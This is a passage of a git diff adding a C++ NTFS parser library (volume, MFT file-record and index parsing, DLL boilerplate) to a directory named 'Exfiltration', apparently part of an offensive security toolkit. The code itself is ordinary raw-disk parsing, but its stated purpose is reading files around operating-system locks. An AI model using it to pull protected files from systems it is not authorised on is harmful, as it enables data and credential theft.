INDEX_BLOCK; + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h new file mode 100644 index 0000000..5a232ff --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h @@ -0,0 +1,989 @@ +/* + * NTFS Volume and File Record Class + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_FILERECORD_H_CYB70289 +#define __NTFS_FILERECORD_H_CYB70289 + + +/////////////////////////////////////// +// NTFS Volume forward declaration +/////////////////////////////////////// +class CNTFSVolume +{ +public: + CNTFSVolume(_TCHAR volume); + virtual ~CNTFSVolume(); + + friend class CFileRecord; + friend class CAttrBase; + +private: + WORD SectorSize; + DWORD ClusterSize; + DWORD FileRecordSize; + DWORD IndexBlockSize; + ULONGLONG MFTAddr; + HANDLE hVolume; + BOOL VolumeOK; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + WORD Version; + + // MFT file records ($MFT file itself) may be fragmented + // Get $MFT Data attribute to translate FileRecord to correct disk offset + CFileRecord *MFTRecord; // $MFT File Record + const CAttrBase *MFTData; // $MFT Data Attribute + + BOOL OpenVolume(_TCHAR volume); + +public: + __inline BOOL IsVolumeOK() const; + __inline WORD GetVersion() const; + __inline ULONGLONG GetRecordsCount() const; + + __inline DWORD GetSectorSize() const; + __inline DWORD GetClusterSize() const; + __inline DWORD GetFileRecordSize() const; + __inline DWORD GetIndexBlockSize() const; + __inline ULONGLONG GetMFTAddr() const; + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); +}; // CNTFSVolume + + +//////////////////////////////////////////// +// List to hold Attributes of the same type +//////////////////////////////////////////// +typedef class CSList<CAttrBase> CAttrList; + +// It seems VC6.0 doesn't support template class friends +#if _MSC_VER <= 1200 +class CAttrResident; +class CAttrNonResident; +template <class TYPE_RESIDENT> class CAttr_AttrList; +#endif + +//////////////////////////////// +// Process a single File Record +//////////////////////////////// +class CFileRecord +{ +public: + CFileRecord(const CNTFSVolume *volume); + virtual ~CFileRecord(); + + friend class CAttrBase; +#if _MSC_VER <= 1200 + // Walk around VC6.0 compiler defect + friend class CAttr_AttrList<CAttrResident>; + friend class CAttr_AttrList<CAttrNonResident>; +#else + template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why? +#endif + +private: + const CNTFSVolume *Volume; + FILE_RECORD_HEADER *FileRecord; + ULONGLONG FileReference; + ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS]; + DWORD AttrMask; + CAttrList AttrList[ATTR_NUMS]; // Attributes + + void ClearAttrs(); + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + __inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard); + CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled); + BOOL ParseAttr(ATTR_HEADER_COMMON *ahc); + FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef); + BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const; + void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const; + +public: + BOOL ParseFileRecord(ULONGLONG fileRef); + BOOL ParseAttrs(); + + BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb); + __inline void ClearAttrRawCB(); + + __inline void SetAttrMask(DWORD mask); + void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context); + __inline const CAttrBase* FindFirstAttr(DWORD attrType) const; + const CAttrBase* FindNextAttr(DWORD attrType) const; + + int GetFileName(_TCHAR *buf, DWORD bufLen) const; + __inline ULONGLONG GetFileSize() const; + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + + void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const; + __inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const; + const CAttrBase* FindStream(_TCHAR *name = NULL); + + __inline BOOL IsDeleted() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; +}; // CFileRecord + + +#include "NTFS_Attribute.h" + + +CFileRecord::CFileRecord(const CNTFSVolume *volume) +{ + _ASSERT(volume); + Volume = volume; + FileRecord = NULL; + FileReference = (ULONGLONG)-1; + + ClearAttrRawCB(); + + // Default to parse all attributes + AttrMask = MASK_ALL; +} + +CFileRecord::~CFileRecord() +{ + ClearAttrs(); + + if (FileRecord) + delete FileRecord; +} + +// Free all CAttr_xxx +void CFileRecord::ClearAttrs() +{ + for (int i=0; i<ATTR_NUMS; i++) + { + AttrList[i].RemoveAll(); + } +} + +// Verify US and update sectors +BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i<sectors; i++) + { + sector += ((Volume->SectorSize>>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +// Call user defined Callback routines for an attribute +__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard) +{ + *bDiscard = FALSE; + + if (AttrRawCallBack[attType]) + AttrRawCallBack[attType](ahc, bDiscard); + else if (Volume->AttrRawCallBack[attType]) + Volume->AttrRawCallBack[attType](ahc, bDiscard); +} + +CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled) +{ + switch (ahc->Type) + { + case ATTR_TYPE_STANDARD_INFORMATION: + return new CAttr_StdInfo(ahc, this); + + case ATTR_TYPE_ATTRIBUTE_LIST: + if (ahc->NonResident) + return new CAttr_AttrList<CAttrNonResident>(ahc, this); + else + return new CAttr_AttrList<CAttrResident>(ahc, this); + + case ATTR_TYPE_FILE_NAME: + return new CAttr_FileName(ahc, this); + + case ATTR_TYPE_VOLUME_NAME: + return new CAttr_VolName(ahc, this); + + case ATTR_TYPE_VOLUME_INFORMATION: + return new CAttr_VolInfo(ahc, this); + + case ATTR_TYPE_DATA: + if (ahc->NonResident) + return new CAttr_Data<CAttrNonResident>(ahc, this); + else + return new CAttr_Data<CAttrResident>(ahc, this); + + case ATTR_TYPE_INDEX_ROOT: + return new CAttr_IndexRoot(ahc, this); + + case ATTR_TYPE_INDEX_ALLOCATION: + return new CAttr_IndexAlloc(ahc, this); + + case ATTR_TYPE_BITMAP: + if (ahc->NonResident) + return new CAttr_Bitmap<CAttrNonResident>(ahc, this); + else + // Resident Bitmap may exist in a directory's FileRecord + // or in $MFT for a very small volume in theory + return new CAttr_Bitmap<CAttrResident>(ahc, this); + + // Unhandled Attributes + default: + *bUnhandled = TRUE; + if (ahc->NonResident) + return new CAttrNonResident(ahc, this); + else + return new CAttrResident(ahc, this); + } +} + +// Parse a single Attribute +// Return False on error +BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc) +{ + DWORD attrIndex = ATTR_INDEX(ahc->Type); + if (attrIndex < ATTR_NUMS) + { + BOOL bDiscard = FALSE; + UserCallBack(attrIndex, ahc, &bDiscard); + + if (!bDiscard) + { + BOOL bUnhandled = FALSE; + CAttrBase *attr = AllocAttr(ahc, &bUnhandled); + if (attr) + { + if (bUnhandled) + { + NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type); + } + AttrList[attrIndex].InsertEntry(attr); + return TRUE; + } + else + { + NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type); + return FALSE; + } + } + else + { + NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type); + return TRUE; + } + } + else + { + NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type); + return FALSE; + } +} + +// Read File Record +FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef) +{ + FILE_RECORD_HEADER *fr = NULL; + DWORD len; + + if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL) + { + // Take as continuous disk allocation + LARGE_INTEGER frAddr; + frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef; + frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN); + + if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR) + return FALSE; + else + { + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL) + && len==Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } + } + else + { + // May be fragmented $MFT + ULONGLONG frAddr; + frAddr = (Volume->FileRecordSize) * fileRef; + + fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize]; + + if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len) + && len == Volume->FileRecordSize) + return fr; + else + { + delete fr; + return NULL; + } + } +} + +// Read File Record, verify and patch the US (update sequence) +BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef) +{ + // Clear previous data + ClearAttrs(); + if (FileRecord) + { + delete FileRecord; + FileRecord = NULL; + } + + FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef); + if (fr == NULL) + { + NTFS_TRACE1("Cannot read file record %I64u\n", fileRef); + + FileReference = (ULONGLONG)-1; + } + else + { + FileReference = fileRef; + + if (fr->Magic == FILE_RECORD_MAGIC) + { + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray)) + { + NTFS_TRACE1("File Record %I64u Found\n", fileRef); + FileRecord = fr; + + return TRUE; + } + else + { + NTFS_TRACE("Update Sequence Number error\n"); + } + } + else + { + NTFS_TRACE("Invalid file record\n"); + } + + delete fr; + } + + return FALSE; +} + +// Visit IndexBlocks recursivly to find a specific FileName +BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return FALSE; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock), recursive call + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ib.FindNextEntry(); + } + } + + return FALSE; +} + +// Traverse SubNode recursivly in ascending order +// Call user defined callback routine once found an subentry +void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const +{ + CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION); + if (ia == NULL) + return; + + CIndexBlock ib; + if (ia->ParseIndexBlock(vcn, ib)) + { + CIndexEntry *ie = ib.FindFirstEntry(); + while (ie) + { + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call + + if (ie->HasName()) + seCallBack(ie); + + ie = ib.FindNextEntry(); + } + } +} + +// Parse all the attributes in a File Record +// And insert them into a link list +BOOL CFileRecord::ParseAttrs() +{ + _ASSERT(FileRecord); + + // Clear previous data + ClearAttrs(); + + // Visit all attributes + + DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds + ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr); + dataPtr += FileRecord->OffsetOfAttr; + + while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize) + { + if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes + { + if (!ParseAttr(ahc)) // Parse error + return FALSE; + + if (IsEncrypted() || IsCompressed()) + { + NTFS_TRACE("Compressed and Encrypted file not supported yet !\n"); + return FALSE; + } + } + + dataPtr += ahc->TotalSize; + ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute + } + + return TRUE; +} + +// Install Attribute raw data CallBack routines for a single File Record +BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CFileRecord::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +// Choose attributes to handle, unwanted attributes will be discarded silently +__inline void CFileRecord::SetAttrMask(DWORD mask) +{ + // Standard Information and Attribute List is needed always + AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST; +} + +// Traverse all Attribute and return CAttr_xxx classes to User Callback routine +void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context) +{ + _ASSERT(attrCallBack); + + for (int i = 0; i < ATTR_NUMS; i ++) + { + if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes + { + const CAttrBase *ab = AttrList[i].FindFirstEntry(); + while (ab) + { + BOOL bStop; + bStop = FALSE; + attrCallBack(ab, context, &bStop); + if (bStop) + return; + + ab = AttrList[i].FindNextEntry(); + } + } + } +} + +// Find Attributes +__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const +{ + DWORD attrIdx = ATTR_INDEX(attrType); + + return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL; +} + +const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const +{ + DWORD attrIdx = ATTR_INDEX(attrType); + + return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL; +} + +// Get File Name (First Win32 name) +int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const +{ + // A file may have several filenames + // Return the first Win32 filename + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + while (fn) + { + if (fn->IsWin32Name()) + { + int len = fn->GetFileName(buf, bufLen); + if (len != 0) + return len; // success or fail + } + + fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry(); + } + + return 0; +} + +// Get File Size +__inline ULONGLONG CFileRecord::GetFileSize() const +{ + CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry(); + return fn ? fn->GetFileSize() : 0; +} + +// Get File Times +void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + // Standard Information attribute hold the most updated file time + CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + if (si) + si->GetFileTime(writeTm, createTm, accessTm); + else + { + writeTm->dwHighDateTime = 0; + writeTm->dwLowDateTime = 0; + if (createTm) + { + createTm->dwHighDateTime = 0; + createTm->dwLowDateTime = 0; + } + if (accessTm) + { + accessTm->dwHighDateTime = 0; + accessTm->dwLowDateTime = 0; + } + } +} + +// Traverse all sub directories and files contained +// Call user defined callback routine once found an entry +void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const +{ + _ASSERT(seCallBack); + + // Start traversing from IndexRoot (B+ tree root node) + + CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + // Visit subnode first + if (ie->IsSubNodePtr()) + TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); + + if (ie->HasName()) + seCallBack(ie); + + ie = ieList->FindNextEntry(); + } +} + +// Find a specific FileName from InexRoot described B+ tree +__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const +{ + // Start searching from IndexRoot (B+ tree root node) + CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT); + if (ir == NULL || !ir->IsFileName()) + return FALSE; + + CIndexEntryList *ieList = (CIndexEntryList*)ir; + CIndexEntry *ie = ieList->FindFirstEntry(); + while (ie) + { + if (ie->HasName()) + { + // Compare name + int i = ie->Compare(fileName); + if (i == 0) + { + ieFound = *ie; + return TRUE; + } + else if (i < 0) // fileName is smaller than IndexEntry + { + // Visit SubNode + if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + else + return FALSE; // not found + } + // Just step forward if fileName is bigger than IndexEntry + } + else if (ie->IsSubNodePtr()) + { + // Search in SubNode (IndexBlock) + if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound)) + return TRUE; + } + + ie = ieList->FindNextEntry(); + } + + return FALSE; +} + +// Find Data attribute class of +const CAttrBase* CFileRecord::FindStream(_TCHAR *name) +{ + const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA); + while (data) + { + if (data->IsUnNamed() && name == NULL) // Unnamed stream + break; + if ((!data->IsUnNamed()) && name) // Named stream + { + _TCHAR an[MAX_PATH]; + if (data->GetAttrName(an, MAX_PATH)) + { + if (_tcscmp(an, name) == 0) + break; + } + } + + data = FindNextAttr(ATTR_TYPE_DATA); + } + + return data; +} + +// Check if it's deleted or in use +__inline BOOL CFileRecord::IsDeleted() const +{ + return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE); +} + +// Check if it's a directory +__inline BOOL CFileRecord::IsDirectory() const +{ + return FileRecord->Flags & FILE_RECORD_FLAG_DIR; +} + +__inline BOOL CFileRecord::IsReadOnly() const +{ + // Standard Information attribute holds the most updated file time + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsReadOnly() : FALSE; +} + +__inline BOOL CFileRecord::IsHidden() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsHidden() : FALSE; +} + +__inline BOOL CFileRecord::IsSystem() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSystem() : FALSE; +} + +__inline BOOL CFileRecord::IsCompressed() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsCompressed() : FALSE; +} + +__inline BOOL CFileRecord::IsEncrypted() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsEncrypted() : FALSE; +} + +__inline BOOL CFileRecord::IsSparse() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSparse() : FALSE; +} + + +/////////////////////////////////////// +// NTFS Volume Implementation +/////////////////////////////////////// +CNTFSVolume::CNTFSVolume(_TCHAR volume) +{ + hVolume = INVALID_HANDLE_VALUE; + VolumeOK = FALSE; + MFTRecord = NULL; + MFTData = NULL; + Version = 0; + ClearAttrRawCB(); + + if (!OpenVolume(volume)) + return; + + // Verify NTFS volume version (must >= 3.0) + + CFileRecord vol(this); + vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION); + if (!vol.ParseFileRecord(MFT_IDX_VOLUME)) + return; + + vol.ParseAttrs(); + CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION); + if (!vi) + return; + + Version = vi->GetVersion(); + NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version)); + if (Version < 0x0300) // NT4 ? + return; + +#ifdef _DEBUG + CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME); + if (vn) + { + char volname[MAX_PATH]; + if (vn->GetName(volname, MAX_PATH) > 0) + { + NTFS_TRACE1("NTFS volume name: %s\n", volname); + } + } +#endif + + VolumeOK = TRUE; + + MFTRecord = new CFileRecord(this); + MFTRecord->SetAttrMask(MASK_DATA); + if (MFTRecord->ParseFileRecord(MFT_IDX_MFT)) + { + MFTRecord->ParseAttrs(); + MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA); + if (MFTData == NULL) + { + delete MFTRecord; + MFTRecord = NULL; + } + } +} + +CNTFSVolume::~CNTFSVolume() +{ + if (hVolume != INVALID_HANDLE_VALUE) + CloseHandle(hVolume); + + if (MFTRecord) + delete MFTRecord; +} + +// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB +BOOL CNTFSVolume::OpenVolume(_TCHAR volume) +{ + // Verify parameter + if (!_istalpha(volume)) + { + NTFS_TRACE("Volume name error, should be like 'C', 'D'\n"); + return FALSE; + } + + _TCHAR volumePath[7]; + _sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume); + volumePath[6] = _T('\0'); + + hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + if (hVolume != INVALID_HANDLE_VALUE) + { + DWORD num; + NTFS_BPB bpb; + + // Read the first sector (boot sector) + if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512) + { + if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0) + { + // Log important volume parameters + + SectorSize = bpb.BytesPerSector; + NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize); + + ClusterSize = SectorSize * bpb.SectorsPerCluster; + NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize); + + int sz = (char)bpb.ClustersPerFileRecord; + if (sz > 0) + FileRecordSize = ClusterSize * sz; + else + FileRecordSize = 1 << (-sz); + NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize); + + sz = (char)bpb.ClustersPerIndexBlock; + if (sz > 0) + IndexBlockSize = ClusterSize * sz; + else + IndexBlockSize = 1 << (-sz); + NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize); + + MFTAddr = bpb.LCN_MFT * ClusterSize; + NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr); + } + else + { + NTFS_TRACE("Volume file system is not NTFS\n"); + goto IOError; + } + } + else + { + NTFS_TRACE("Read boot sector error\n"); + goto IOError; + } + } + else + { + NTFS_TRACE1("Cannnot open volume %c\n", (char)volume); +IOError: + if (hVolume != INVALID_HANDLE_VALUE) + { + CloseHandle(hVolume); + hVolume = INVALID_HANDLE_VALUE; + } + return FALSE; + } + + return TRUE; +} + +// Check if Volume is successfully opened +__inline BOOL CNTFSVolume::IsVolumeOK() const +{ + return VolumeOK; +} + +// Get NTFS volume version +__inline WORD CNTFSVolume::GetVersion() const +{ + return Version; +} + +// Get File Record count +__inline ULONGLONG CNTFSVolume::GetRecordsCount() const +{ + return (MFTData->GetDataSize() / FileRecordSize); +} + +// Get BPB information + +__inline DWORD CNTFSVolume::GetSectorSize() const +{ + return SectorSize; +} + +__inline DWORD CNTFSVolume::GetClusterSize() const +{ + return ClusterSize; +} + +__inline DWORD CNTFSVolume::GetFileRecordSize() const +{ + return FileRecordSize; +} + +__inline DWORD CNTFSVolume::GetIndexBlockSize() const +{ + return IndexBlockSize; +} + +// Get MFT starting address +__inline ULONGLONG CNTFSVolume::GetMFTAddr() const +{ + return MFTAddr; +} + +// Install Attribute CallBack routines for the whole Volume +BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CNTFSVolume::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt b/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt new file mode 100644 index 0000000..f0918b0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview +======================================================================== + +AppWizard has created this NTFSParserDLL DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your NTFSParserDLL application. + + +NTFSParserDLL.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +NTFSParserDLL.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +NTFSParserDLL.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp new file mode 100644 index 0000000..c434a17 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp @@ -0,0 +1,36 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com> + +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp new file mode 100644 index 0000000..2f18cb0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// NTFSParserDLL.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h new file mode 100644 index 0000000..a11216a --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h @@ -0,0 +1,18 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include <windows.h> +#include <string> +#include <iostream> + + + +// 